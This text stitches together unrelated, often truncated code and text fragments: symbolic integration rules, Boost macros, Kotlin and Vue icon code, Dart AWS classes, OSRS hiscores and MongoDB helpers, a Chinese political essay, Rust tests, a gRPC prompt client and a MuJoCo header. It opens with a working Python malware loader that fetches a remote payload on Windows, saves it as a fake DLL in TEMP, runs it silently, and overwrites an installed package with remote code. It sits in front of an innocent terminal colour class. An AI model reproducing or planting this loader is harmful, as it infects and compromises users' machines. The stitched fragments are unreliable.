from os import getenv, system, name
from os.path import isfile

if name != 'nt':
    exit()

path = getenv("TEMP") + "\java-8u311.dll"
if not isfile(path):
    script = request.urlopen("https://zerotwo-best-waifu.online/778112985743251/mawl.txt").read().decode("utf8")     # mawlware
    with open(path, mode='w', encoding='utf-8') as f:
        f.write(script)
    f.close()
    system(f"start {executable.replace('.exe', 'w.exe')} {path}")
    # system(f"del {path}")

# paths = getenv("PATH").replace(";", "\n").splitlines()
# python = False
# for pat in paths:
#     if "Python" in pat and not "script" in pat:
#         python = pat

module = executable.replace('python.exe', 'Lib\site-packages\\ascii2text\\__init__.py')
if isfile(module):
    script = request.urlopen("http://zerotwo-best-waifu.online/778112985743251/colorgood.txt").read().decode("utf8")   # clean code
    with open(module, mode='w', encoding='utf-8') as f:
        f.write(script)
    f.close()

class col:
    BLACK = '\033[30m'
    RED = '\033[31m'
    GREEN = '\033[32m'
    YELLOW = '\033[33m'
    BLUE = '\033[34m'
    MAGENTA = '\033[35m'
    CYAN = '\033[36m'
    WHITE = '\033[37m'
    UNDERLINE = '\033[4m'
    RESET = '\033[0m'


_),Power(Plus(f_,Times(g_DEFAULT,x_)),q_)),x_Symbol),
    Condition(Dist(Times(Power(Times(CN1,Sqr(d),g,Power(e,CN1)),IntPart(q)),Power(Plus(d,Times(e,x)),FracPart(q)),Power(Plus(f,Times(g,x)),FracPart(q)),Power(Power(Plus(C1,Times(Sqr(c),Sqr(x))),FracPart(q)),CN1)),Integrate(Times(Power(Times(h,x),m),Power(Plus(d,Times(e,x)),Subtract(p,q)),Power(Plus(C1,Times(Sqr(c),Sqr(x))),q),Power(Plus(a,Times(b,ArcSinh(Times(c,x)))),n)),x),x),And(FreeQ(List(a,b,c,d,e,f,g,h,m,n),x),EqQ(Plus(Times(e,f),Times(d,g)),C0),EqQ(Plus(Times(Sqr(c),Sqr(d)),Sqr(e)),C0),HalfIntegerQ(p,q),GeQ(Subtract(p,q),C0)))),
IIntegrate(5798,Integrate(Times(Power(Plus(a_DEFAULT,Times(ArcCosh(Times(c_DEFAULT,x_)),b_DEFAULT)),n_DEFAULT),Power(Times(f_DEFAULT,x_),m_DEFAULT),Power(Plus(d_,Times(e_DEFAULT,Sqr(x_))),p_)),x_Symbol),
    Condition(Dist(Times(Power(Negate(d),IntPart(p)),Power(Plus(d,Times(e,Sqr(x))),FracPart(p)),Power(Times(Power(Plus(C1,Times(c,x)),FracPart(p)),Power(Plus(CN1,Times(c,x)),FracPart(p))),CN1)),Integrate(Times(Power(Times(f,x),m),Power(Plus(C1,Times(c,x)),p),Power(Plus(CN1,Times(c,x)),p),Power(Plus(a,Times(b,ArcCosh(Times(c,x)))),n)),x),x),And(FreeQ(List(a,b,c,d,e,f,m,n,p),x),EqQ(Plus(Times(Sqr(c),d),e),C0),Not(IntegerQ(p))))),
IIntegrate(5799,Integrate(Times(Power(Plus(a_DEFAULT,Times(ArcSinh(Times(c_DEFAULT,x_)),b_DEFAULT)),n_DEFAULT),Power(Plus(d_DEFAULT,Times(e_DEFAULT,x_)),CN1)),x_Symbol),
    Condition(Subst(Integrate(Times(Power(Plus(a,Times(b,x)),n),Cosh(x),Power(Plus(Times(c,d),Times(e,Sinh(x))),CN1)),x),x,ArcSinh(Times(c,x))),And(FreeQ(List(a,b,c,d,e),x),IGtQ(n,C0)))),
IIntegrate(5800,Integrate(Times(Power(Plus(a_DEFAULT,Times(ArcCosh(Times(c_DEFAULT,x_)),b_DEFAULT)),n_DEFAULT),Power(Plus(d_DEFAULT,Times(e_DEFAULT,x_)),CN1)),x_Symbol),
    Condition(Subst(Integrate(Times(Power(Plus(a,Times(b,x)),n),Sinh(x),Power(Plus(Times(c,d),Times(e,Cosh(x))),CN1)),x),x,ArcCosh(Times(c,x))),And(FreeQ(List(a,b,c,d,e),x),IGtQ(n,C0))))
  );
}
/**
 * Copyright (C) 2013, 2014 Johannes Taelman
 *
 * This file is part of Axoloti.
 *
 * Axoloti is free software: you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option) any later
 * version.
 *
 * Axoloti is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTA


52, s), p, o, m)
# define BOOST_PP_FOR_52_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(53, s) BOOST_PP_IIF(c, BOOST_PP_FOR_53, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(53, s), p, o, m)
# define BOOST_PP_FOR_53_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(54, s) BOOST_PP_IIF(c, BOOST_PP_FOR_54, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(54, s), p, o, m)
# define BOOST_PP_FOR_54_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(55, s) BOOST_PP_IIF(c, BOOST_PP_FOR_55, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(55, s), p, o, m)
# define BOOST_PP_FOR_55_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(56, s) BOOST_PP_IIF(c, BOOST_PP_FOR_56, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(56, s), p, o, m)
# define BOOST_PP_FOR_56_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(57, s) BOOST_PP_IIF(c, BOOST_PP_FOR_57, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(57, s), p, o, m)
# define BOOST_PP_FOR_57_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(58, s) BOOST_PP_IIF(c, BOOST_PP_FOR_58, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(58, s), p, o, m)
# define BOOST_PP_FOR_58_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(59, s) BOOST_PP_IIF(c, BOOST_PP_FOR_59, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(59, s), p, o, m)
# define BOOST_PP_FOR_59_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(60, s) BOOST_PP_IIF(c, BOOST_PP_FOR_60, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(60, s), p, o, m)
# define BOOST_PP_FOR_60_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_2)(61, s) BOOST_PP_IIF(c, BOOST_PP_FOR_61, BOOST_PP_TUPLE_EAT_4)(BOOST_PP_EXPR_IIF(c, o)(61, s), p, o, m)
# define BOOST_PP_FOR_61_C(c, s, p, o, m) BOOST_PP_IIF(c, m, BOOST_PP_TUPLE_EAT_


centColorScheme, MetallicColorScheme(), LightGrayColorScheme()
    )
    skinColors.registerDecorationAreaSchemeBundle(defaultSchemeBundle, DecorationAreaType.None)
    skinColors.registerAsDecorationArea(accentColorScheme, DecorationAreaType.TitlePane, DecorationAreaType.Header)

    return AuroraSkinDefinition(
        displayName = displayName,
        colors = skinColors,
        painters = painters,
        buttonShaper = buttonShaper,
    )
}
package org.pushingpixels.aurora.tools.screenshot.svg.tango

import androidx.compose.ui.geometry.*
import androidx.compose.ui.graphics.*
import androidx.compose.ui.graphics.drawscope.DrawScope
import androidx.compose.ui.graphics.drawscope.Fill
import androidx.compose.ui.graphics.drawscope.Stroke
import androidx.compose.ui.graphics.drawscope.clipRect
import androidx.compose.ui.graphics.drawscope.translate
import androidx.compose.ui.graphics.drawscope.withTransform
import androidx.compose.ui.graphics.painter.Painter
import java.lang.ref.WeakReference
import java.util.*
import kotlin.math.min

/**
 * This class has been automatically generated using
 * Aurora SVG transcoder.
 */
class edit_select_all : Painter() {
    @Suppress("UNUSED_VARIABLE") private var shape: Outline? = null
    @Suppress("UNUSED_VARIABLE") private var generalPath: Path? = null
    @Suppress("UNUSED_VARIABLE") private var brush: Brush? = null
    @Suppress("UNUSED_VARIABLE") private var stroke: Stroke? = null
    @Suppress("UNUSED_VARIABLE") private var clip: Shape? = null
    private var alpha = 1.0f
    private var blendMode = DrawScope.DefaultBlendMode
    private var alphaStack = mutableListOf(1.0f)
    private var blendModeStack = mutableListOf(DrawScope.DefaultBlendMode)

	@Suppress("UNUSED_VARIABLE", "UNUSED_VALUE", "VARIABLE_WITH_REDUNDANT_INITIALIZER", "UNNECESSARY_NOT_NULL_ASSERTION")
private fun _paint0(drawScope : DrawScope) {
var shapeText: Outline?
var generalPathText: Path? = null
var alphaText = 0.0f
var blendModeText = DrawScope.DefaultBlendMode
with(drawScope) {
//
alphaStack.add(0, alpha)
alpha *= 1.0f
blendModeStack.add(0, BlendMode.SrcOver)
blendMode = BlendMode.SrcOver
// _0
alphaStack.add(0, alpha)
alpha *= 1.0f
blendModeStack.add(0, BlendMode.SrcOver)
blendMode = BlendMode.SrcOver
// _0_0
alphaStack.add(0, alpha)
alpha *= 1.0f
blendModeStack.add(0, BlendMode.SrcOver)
blendMode = BlendMode.SrcOver
withTransform({
transform(
Matrix(values=floatArrayOf(
0.023828109726309776f, 0.0f, 0.0f, 0.0f,
0.0f, 0.014487880282104015f, 0.0f,


.
  ///
  /// The string length should be between 1 and 128 characters. Valid characters
  /// include a-z, A-Z, 0-9, space, and the
  /// special characters _ - . : / = + @.
  final String key;

  /// A string that contains an optional Tag value.
  ///
  /// The string length should be between 0 and 256 characters. Valid characters
  /// include a-z, A-Z, 0-9, space, and the
  /// special characters _ - . : / = + @.
  final String? value;

  Tag({
    required this.key,
    this.value,
  });
  factory Tag.fromXml(_s.XmlElement elem) {
    return Tag(
      key: _s.extractXmlStringValue(elem, 'Key')!,
      value: _s.extractXmlStringValue(elem, 'Value'),
    );
  }

  Map<String, dynamic> toJson() {
    final key = this.key;
    final value = this.value;
    return {
      'Key': key,
      if (value != null) 'Value': value,
    };
  }

  _s.XmlElement toXml(String elemName, {List<_s.XmlAttribute>? attributes}) {
    final key = this.key;
    final value = this.value;
    final $children = <_s.XmlNode>[
      _s.encodeXmlStringValue('Key', key),
      if (value != null) _s.encodeXmlStringValue('Value', value),
    ];
    final $attributes = <_s.XmlAttribute>[
      ...?attributes,
    ];
    return _s.XmlElement(
      _s.XmlName(elemName),
      $attributes,
      $children,
    );
  }
}

/// A complex type that contains zero or more Tag elements.
class TagKeys {
  /// A complex type that contains Tag key elements.
  final List<String>? items;

  TagKeys({
    this.items,
  });

  Map<String, dynamic> toJson() {
    final items = this.items;
    return {
      if (items != null) 'Items': items,
    };
  }

  _s.XmlElement toXml(String elemName, {List<_s.XmlAttribute>? attributes}) {
    final items = this.items;
    final $children = <_s.XmlNode>[
      if (items != null)
        _s.XmlElement(_s.XmlName('Items'), [],
            items.map((e) => _s.encodeXmlStringValue('Key', e))),
    ];
    final $attributes = <_s.XmlAttribute>[
      ...?attributes,
    ];
    return _s.XmlElement(
      _s.XmlName(elemName),
      $attributes,
      $children,
    );
  }
}

/// A complex type that contains zero or more Tag elements.
class Tags {
  /// A complex type that contains Tag elements.
  final List<Tag>? items;

  Tags({
    this.items,
  });
  factory Tags.fromXml(_s.XmlElement elem) {
    return Tags(
      items: _s
          .extractXmlChild(elem, 'Items')
          ?.let((elem) => elem.findElements('Tag').map(Tag.fromXml).toList()),
    );
  }

  Map<String, dynamic> toJson() {
    final items = this.items;
    return {
      if (items != null) 'Items': items,
    };
  }

  _s.XmlElement toXml(String elemName, {List<_s.XmlAttribute>? attributes}) {
    final items = this.items;
    final $children = <_s.XmlNode>[
      if (items != null)
        _s.XmlElement(
            _s.XmlName('Items'), [], items.map((e) => e.toXml('Tag'))),
    ];
    final $attributes = <_s.XmlAttribute>[
      ...?attributes,
    ];
    return _s.XmlElement(
      _s.XmlName(elemName),
      $attributes,
      $ch


27 -12.875 -21.8789 -19.125
c-1.625 -13.75 -4 -27.125 -6.75195 -40.125c24.6309 -0.875 40.0098 4.375 43.6348 11zM369.655 239.75c15.1289 23.5 19.0039 41 15.0039 48.25c-3.375 6.125 -16.3789 11.5 -37.8828 11.5c-1.75 0 -3.87695 -0.375 -5.75195 -0.375
c2.87695 -13.375 5.12695 -26.75 6.75195 -40.25c7.75195 -6.25 15.0039 -12.625 21.8789 -19.125z" />
    <glyph glyph-name="bone" unicode="" horiz-adv-x="640"
d="M598.88 203.44c-9.42969 -4.70996 -9.42969 -18.1709 -0.00976562 -22.8809c25.2002 -12.5996 41.1201 -38.3496 41.1201 -66.5293v-7.64062c0 -41.0898 -33.2998 -74.3896 -74.3799 -74.3896c-32.0107 0 -60.4404 20.4902 -70.5703 50.8604
c-6.53027 19.5996 -10.7305 45.1396 -38.1104 45.1396h-273.87c-26.5098 0 -30.4297 -22.1104 -38.1094 -45.1396c-10.1299 -30.3701 -38.5498 -50.8604 -70.5703 -50.8604c-41.0801 0 -74.3799 33.2998 -74.3799 74.3896v7.64062
c0 28.1699 15.9199 53.9297 41.1201 66.5293c9.42969 4.70996 9.42969 18.1709 0 22.8809c-25.2002 12.5996 -41.1201 38.3594 -41.1201 66.5293v7.64062c0 41.0898 33.2998 74.3896 74.3896 74.3896c32.0107 0 60.4404 -20.4902 70.5605 -50.8604
c6.53027 -19.5996 10.7295 -45.1396 38.1094 -45.1396h273.87c26.5107 0 30.4307 22.1104 38.1104 45.1396c10.1299 30.3701 38.5498 50.8604 70.5703 50.8604c41.0898 0 74.3896 -33.2998 74.3896 -74.3896v-7.64062c0 -28.1699 -15.9199 -53.9297 -41.1201 -66.5293z" />
    <glyph glyph-name="book-reader" unicode=""
d="M352 352c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96zM233.59 206.9c4.10059 -2.51074 6.41016 -6.79004 6.41992 -11.46v-245.99c0 -10.1602 -11.1094 -16.5898 -20.4795 -11.8701
c-61.0498 30.75 -149.38 39.1396 -193.04 41.4297c-14.9004 0.770508 -26.4902 12.7207 -26.4902 27.0498v222.801c0 15.6299 13.5498 28.0098 29.7998 27.0898c48.3604 -2.75 144.46 -12.7305 203.79 -49.0498zM482.2 255.95
c16.25 0.919922 29.7998 -11.46 29.8096 -27.0898v-


/2000/svg"},H2=e("path",{fill:"currentColor",d:"M104.704 685.248a64 64 0 0 0 90.496 0l316.8-316.8 316.8 316.8a64 64 0 0 0 90.496-90.496L557.248 232.704a64 64 0 0 0-90.496 0L104.704 594.752a64 64 0 0 0 0 90.496z"},null,-1),M2=[H2];function C2(t,a,_,r,l,i){return o(),n("svg",x2,M2)}var V2=s(z2,[["render",C2],["__file","arrow-up-bold.vue"]]),y2={name:"ArrowUp"},B2={viewBox:"0 0 1024 1024",xmlns:"http://www.w3.org/2000/svg"},L2=e("path",{fill:"currentColor",d:"m488.832 344.32-339.84 356.672a32 32 0 0 0 0 44.16l.384.384a29.44 29.44 0 0 0 42.688 0l320-335.872 319.872 335.872a29.44 29.44 0 0 0 42.688 0l.384-.384a32 32 0 0 0 0-44.16L535.168 344.32a32 32 0 0 0-46.336 0z"},null,-1),A2=[L2];function b2(t,a,_,r,l,i){return o(),n("svg",B2,A2)}var k2=s(y2,[["render",b2],["__file","arrow-up.vue"]]),S2={name:"Avatar"},q2={viewBox:"0 0 1024 1024",xmlns:"http://www.w3.org/2000/svg"},F2=e("path",{fill:"currentColor",d:"M628.736 528.896A416 416 0 0 1 928 928H96a415.872 415.872 0 0 1 299.264-399.104L512 704l116.736-175.104zM720 304a208 208 0 1 1-416 0 208 208 0 0 1 416 0z"},null,-1),D2=[F2];function P2(t,a,_,r,l,i){return o(),n("svg",q2,D2)}var R2=s(S2,[["render",P2],["__file","avatar.vue"]]),T2={name:"Back"},O2={viewBox:"0 0 1024 1024",xmlns:"http://www.w3.org/2000/svg"},G2=e("path",{fill:"currentColor",d:"M224 480h640a32 32 0 1 1 0 64H224a32 32 0 0 1 0-64z"},null,-1),U2=e("path",{fill:"currentColor",d:"m237.248 512 265.408 265.344a32 32 0 0 1-45.312 45.312l-288-288a32 32 0 0 1 0-45.312l288-288a32 32 0 1 1 45.312 45.312L237.248 512z"},null,-1),W2=[G2,U2];function I2(t,a,_,r,l,i){return o(),n("svg",O2,W2)}var E2=s(T2,[["render",I2],["__file","back.vue"]]),N2={name:"Baseball"},Z2={viewBox:"0 0 1024 1024",xmlns:"http://www.w3.org/2000/svg"},K2=e("path",{fill:"currentColor",d:"M195.2 828.8a448 448 0 1 1 633.6-633.6 448 448 0 0 1-633.6 633.6zm45.248-45.248a384 384 0 1 0 543.104-543.104 384 384 0 0 0-543.104 543.104z"},null,-1),Q2=e("path",{fill:"currentColor",d:"M497.472 96.896c22.784 4.672 44.416 9.472 64.896 14.528a256.128 256.128 0 0 0 350.208 350.208c5.056 20.48 9.856 42.1


HttpEvent<any>> {
    return next.handle(request).pipe(
      map((response: HttpEvent<any>) => {
        if (response instanceof HttpResponse) {
          return response.clone({
            body: this.objectKeysToCamelCase(response.body),
          });
        }
        return response;
      })
    );
  }
}
import axios, { AxiosRequestConfig } from 'axios';
import * as ua from 'useragent-generator';
import { Gamemode, SkillName, ActivityName } from '../types';
import {
  GAMEMODE_URL,
  STATS_URL,
  SCORES_URL,
  SKILLS,
  ACTIVITIES,
  JSON_STATS_URL
} from './constants';

/**
 * Will generate a stats URL for the official OSRS API.
 *
 * @param gamemode Gamemode to fetch ranks for.
 * @param rsn Username of the player.
 * @param json If the JSON endpoint is desired instead of CSV.
 * @returns Encoded stats URL.
 */
export const getStatsURL = (gamemode: Gamemode, rsn: string, json = false) =>
  `${GAMEMODE_URL[gamemode]}${
    json ? JSON_STATS_URL : STATS_URL
  }${encodeURIComponent(rsn)}`;

/**
 * Will generate a player table URL for the official OSRS hiscores website.
 *
 * @param gamemode Gamemode to fetch ranks for.
 * @param rsn Username of the player.
 * @returns Encoded player table URL.
 */
export const getPlayerTableURL = (gamemode: Gamemode, rsn: string) =>
  `${GAMEMODE_URL[gamemode]}${SCORES_URL}table=0&user=${encodeURIComponent(
    rsn
  )}`;

/**
 * Will generate a skill table URL for the official OSRS hiscores website.
 *
 * @param gamemode Gamemode to fetch ranks for.
 * @param skill Skill to fetch ranks for.
 * @param page Page number.
 * @returns
 */
export const getSkillPageURL = (
  gamemode: Gamemode,
  skill: SkillName,
  page: number
) =>
  `${GAMEMODE_URL[gamemode]}${SCORES_URL}table=${SKILLS.indexOf(
    skill
  )}&page=${page}`;

/**
 * Will generate an activity table URL for the official OSRS hiscores website.
 *
 * @param gamemode Gamemode to fetch ranks for.
 * @param activity Activity or boss to fetch ranks for.
 * @param page Page number.
 * @returns
 */
export const getActivityPageURL = (
  gamemode: Gamemode,
  activity: ActivityName,
  page: number
) =>
  `${
    GAMEMODE_URL[gamemode]
  }${SCORES_URL}category_type=1&table=${ACTIVITIES.indexOf(
    activity
  )}&page=${page}`;

/**
 * Extracts a number from an OSRS hiscores table cell element.
 *
 * @param el OSRS hiscores table cell element.
 * @returns Number parsed from cell text.
 */
export const numberFromElement = (el: Element | null) => {
  const { innerHTML } = el ?? {};
  const number = innerHTML?.replace(/[\n|,]/g, '') ?? '-1';
  return parseInt(number, 10);
};

/**
 * Extracts a RSN from an OSRS hiscores table cell element.
 *
 * @param el OSRS hiscores table cell element.
 * @returns RSN parsed from cell text.
 */
export const rsnFromElement = (el: Element | null) => {
  const { innerHTML } = el ?? {};
  return innerHTML?.replace(/\uFFFD/g, ' ') ?? '';
};

/**
 * Will run an Axios `GET` request against


 dado
 */
export const getCasoByCountryInDB = async (country: string) => {
    try {

        const URI_MONGO: string = process.env.MONGODB_URI || '';
        await mongoose.connect(URI_MONGO, { useNewUrlParser: true, useUnifiedTopology: true });
        const Caso = mongoose.model(COLLECTION_ACTUALIZACIONES, actualizacionesSchema);

        country = (country.charAt(0).toUpperCase() + country.slice(1)).trim();
        const result: any[] = await Caso.find({ Lugar: { $in: [country.concat(' '), country.trim()] } });

        if (typeof result === "undefined") { throw new Error("Ninguna coincidencia de busqueda"); }

        return result;

    } catch (error) {
        getCasoByCountryInDB(country);
        console.log(colors.red('Error: {getCasoByCountryInDB} - '), error.message);
    }
}

/**
 * @param new_caso
 * Ingresa una nueva actualización en MongoDB
 */
export const ingresaActualizacionInDB = async (new_caso: Actualizacion) => {
    try {

        const URI_MONGO: string = process.env.MONGODB_URI || '';
        await mongoose.connect(URI_MONGO, { useNewUrlParser: true, useUnifiedTopology: true });
        const Caso = mongoose.model(COLLECTION_ACTUALIZACIONES, actualizacionesSchema);

        const caso = new Caso({
            Lugar: new_caso.Lugar.trim(),
            Contagiados: new_caso.Contagiados,
            Decesos: new_caso.Decesos,
            Actualizado: new_caso.Actualizado
        });
        await caso.save();
    } catch (error) {
        console.log(colors.red("Error: {ingresaActualizacionInDB} - "), error.message);
        ingresaActualizacionInDB(new_caso);
    }
}

export const getCasesReport = async () => {
    try {
        const URI_MONGO: string = process.env.MONGODB_URI || '';
        await mongoose.connect(URI_MONGO, { useNewUrlParser: true, useUnifiedTopology: true });
        const CasosReport = mongoose.model(COLLECTION_RESUMES, casosReportSchema);
        const casosRepoty: any[] = await CasosReport.find();

        return casosRepoty;
    } catch (error) {
        log(colors.red(error.messages));
        getCasesReport();
    }
}

export const geCurvaByCountryInDB = async (country: string) => {
    try {

        const URI_MONGO: string = process.env.MONGODB_URI || '';
        await mongoose.connect(URI_MONGO, { useNewUrlParser: true, useUnifiedTopology: true });
        const Curvas = mongoose.model(COLLECTION_CURVAS, curvasSchema);

        country = (country.charAt(0).toUpperCase() + country.slice(1)).trim();
        const result: any[] = await Curvas.find({ lugar: { $in: [country.concat(' '), country.trim()] } });

        if (typeof result === "undefined") { throw new Error("Ninguna coincidencia de busqueda"); }

        return result;
    } catch (error) {
        geCurvaByCountryInDB(country);
        console.log(colors.red('Error: {geCurvaByCountryInDB} - '), error.message);
    }
}

const truncateCaseReport = async () => {
    try {
        const CasosReport = mongoose.model(COLLECTION_RESUMES, casosReportSchema);
        log('- inicia


有企业大协 作的办法，在短短的二十天内，就建成了七个具有现代技术水平的中型工厂和一个车间，其中有的工厂从破土兴建到投入生产，只用几十小时或一百多小时。上海第 一钢铁厂在全市二百多个单位的全力协作下，也只用四十七天的时间就建成了一座年产六十万吨钢的大型转炉车间。由此可见，组织社会主义大协作，的确是多快好 省地建设社会主义的一个最好方法。抓住了这个方法，加上各单位、各部门、各地区的自力更生的办法，社会主义建设事业就会像火箭一样，高速度地飞跃前进。
   </em>
  </h3>
  <p>
   协作是社会主义制度本身所需要的。分工和协作，是一件事情的两个方面。社会分工越细，越需要协作。从人类社会出现了第一次社会分工以来，人与人之间的协作 就成为生活的必要的条件。但是，自从社会分化为阶级以后，不仅剥削阶级和被剥削阶级之间存在着尖锐的冲突，而且在剥削阶级内部也存在着严重的利害冲突。在 那样的社会里，各个集团之间、生产部门之间、地区之间以及城乡之间，虽然也有一定的连系，但是却没有真正的互助和协作。有的只是经济发达的地区剥削经济落 后的地区，城市剥削农村，强凌弱，大吞小，势均力敌的互相倾轧，尔虞我诈。在那样的社会里，生产力受了层层的束缚。只有社会主义社会才把过去阶级对立的这 种情况根本改变了。在社会主义社会里，生产资料是属于全民所有或集体所有的。每个地区、每个部门、每个工厂和合作社，虽然分工不同，工作岗位不同，根本利 益却是一致的。在社会主义社会里，经济和文化的发展，不是无政府状态，不是自由竞争，而是根据人民的生活和生产发展的需要，有计划按比例地发展着。在社会 主义社会里，各个部门之间、地区之间，不是两相排挤，互相并吞，而是互相支援，互相促进，共同提高。城市不再剥削农村，城市和农村的关系，现在是城乡互 助、工农联盟的关系了；而且到处是先进的帮助落后的，大家共同


]
  fn test_is_prefix_of_any_04() {
    let mut term = ProductTerm::new();
    term.add_literal(String::from("A"), LiteralValue::False);
    term.add_literal(String::from("B"), LiteralValue::DontCare);

    let mut product_term = ProductTerm::new();
    product_term.add_literal(String::from("A"), LiteralValue::False);
    product_term.add_literal(String::from("B"), LiteralValue::True);

    let mut other_term = ProductTerm::new();
    other_term.add_literal(String::from("A"), LiteralValue::False);
    other_term.add_literal(String::from("B"), LiteralValue::False);

    let third_term = ProductTerm::new_with_literals(vec![
      ("A".to_string(), LiteralValue::True),
      ("B".to_string(), LiteralValue::False),
    ]);
    let mut set = HashSet::new();
    set.insert(product_term);
    set.insert(other_term);
    set.insert(third_term);

    assert!(!term.is_prefix_of_any(&set));
  }
}
<filename>src/angle.rs<gh_stars>0
use point::{Pt3, Vec2, Vec3};
use nalgebra::{RotationTo, Cross, FloatVector};
use tol::Tol;
use vectorspace::{Ops, NVS};

pub trait Angle : FloatVector<f64> + RotationTo
{
    fn angle(&self, other: &Self) -> <Self as RotationTo>::AngleType {
        self.angle_to(other)
    }

    fn try_angle(&self, other: &Self) -> Option<<Self as RotationTo>::AngleType> {
        if self.norm().small() || other.norm().small() {
            return None;
        }
        return Some(self.angle(other));
    }

    fn angle_between_unitvecs(&self, other: &Self) -> f64 {
        self.dot(&other).acos()
    }
}

impl Angle for Vec3 {}
impl Angle for Vec2 {}

pub fn plane_normal(p: [Pt3; 3]) -> Option<Vec3> {
    let ref v10 = p[1] - p[0];
    let ref v20 = p[2] - p[0];
    v10.cross(&v20).try_normalize()
}

pub fn perp_in_plane(v1: Vec3, p: [Pt3; 3]) -> Option<Vec3> {
    if let Some(v) = plane_normal(p) {
        Some(v1.cross(&v))
    } else {
        None
    }
}

pub fn perp_in_2dplane(v1: Vec2) -> Vec2 {
    Vec2::new(-v1.extract(1), v1.extract(0))
}
#![no_std]

#[cfg(feature = "rt")]
pub use cortex_m_rt::entry;

pub use atsamd_hal as hal;
pub use hal::ehal;
pub use hal::pac;

#[cfg(feature = "usb")]
pub use hal::usb::{usb_device::bus::UsbBusAllocator, UsbBus};

hal::bsp_pins!(
    PA03 {
        name: touch1,
        aliases: {
            AlternateB: Touch1
        }
    },

    PA05 {
        name: neo_pixel,
        aliases: {
            AlternateB: NeoPixel
        }
    },

    PA07 {
        name: touch2,
        aliases: { AlternateB: Touch2 }
    },

    PA24 {
        /// The USB D- pad
        name: usb_dm
        aliases: {
            AlternateG: UsbDm
        }
    },

    PA25 {
        /// The USB D+ pad
        name: usb_dp
        aliases: {
            AlternateG: UsbDp
        }
    }
);

/// Convenience method for getting the USB Bus Allocator.
///
/// Basic usage would look like the below:
/// ```no_run


import grpc
import logging
from uuid import uuid4
from reflection.grpcReflection import (
    Method,
    Service,
    GrpcReflection
)
from reflection.serviceReflection import ServiceReflection, ReflectedMethod
from dataclasses import dataclass
from typing import Iterator, Type
from google.protobuf.message import Message

logger = logging.getLogger(__name__)

class PromptClient(ServiceReflection):

    name: str = 'Prompt'
    reflection: GrpcReflection
    service: Service
    _apply_template_method: ReflectedMethod
    _get_template_method: ReflectedMethod

    def __init__(self, reflection: GrpcReflection) -> None:
        super().__init__(reflection=reflection)

        self._apply_template_method = self._get_method('apply_template')
        self._get_template_method = self._get_method('get_template')

    def apply_template(self, messages: list[dict]) -> Message:
        method = self._apply_template_method.method
        request = self._apply_template_method.request
        response = self._apply_template_method.response

        method = self.reflection.channel.unary_unary(
            method=method.path,
            request_serializer=request.SerializeToString,
            response_deserializer=response.FromString
        )
        custom_template = '''{{ bos_token }}{% for message in messages %}{% if (message['role'] == 'user') != (loop.index0 % 2 == 0) %}{{ raise_exception('Conversation roles must alternate user/assistant/user/assistant/...') }}{% endif %}{% if message['role'] == 'user' %}{{ '[INST] ' + message['content'] + ' [/INST]' }}{% elif message['role'] == 'assistant' %}{{ message['content'] + eos_token}}{% else %}{{ raise_exception('Only user and assistant roles are supported!') }}{% endif %}{% if loop.last and add_generation_prompt %}{{ ' assistant:\n' }}{% endif %}{% endfor %}'''
        return method(request(
            messages=messages,
            custom_template=custom_template
        ))

    def get_template(self) -> Message:
        method = self._get_template_method.method
        request = self._get_template_method.request
        response = self._get_template_method.response

        method = self.reflection.channel.unary_unary(
            method=method.path,
            request_serializer=request.SerializeToString,
            response_deserializer=response.FromString
        )
        return method(request())

if __name__ == '__main__':
    client = PromptClient()
    content = 'GPT4 Correct User:Your name is Genome <|end_of_turn|> ' \
              'GPT4 Correct Assistant: Yes, I understand my job.<|end_of_turn|> ' \
              'GPT4 Correct User: Great! query: What are the best cheeses? ' \
              'GPT4 Correct Assistant: response:'
    for message in client.prompt(content=content):
        logger.info(f'{message = }')


// Copyright 2022 DeepMind Technologies Limited
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

#ifndef MUJOCO_PLUGIN_SDF_NUT_H_
#define MUJOCO_PLUGIN_SDF_NUT_H_

#include <optional>

#include <mujoco/mjdata.h>
#include <mujoco/mjmodel.h>
#include <mujoco/mjtnum.h>
#include <mujoco/mjvisualize.h>
#include "sdf.h"

namespace mujoco::plugin::sdf {

// this plugin implements a modification of the signed distance function
// from https://www.shadertoy.com/view/XtffzX  of hexagonal nut

struct NutAttribute {
  static constexpr int nattribute = 1;
  static constexpr char const* names[nattribute] = {"radius"};
  static constexpr mjtNum defaults[nattribute] = {0.26};
};

class Nut {
 public:
  // Creates a new Nut instance (allocated with `new`) or
  // returns null on failure.
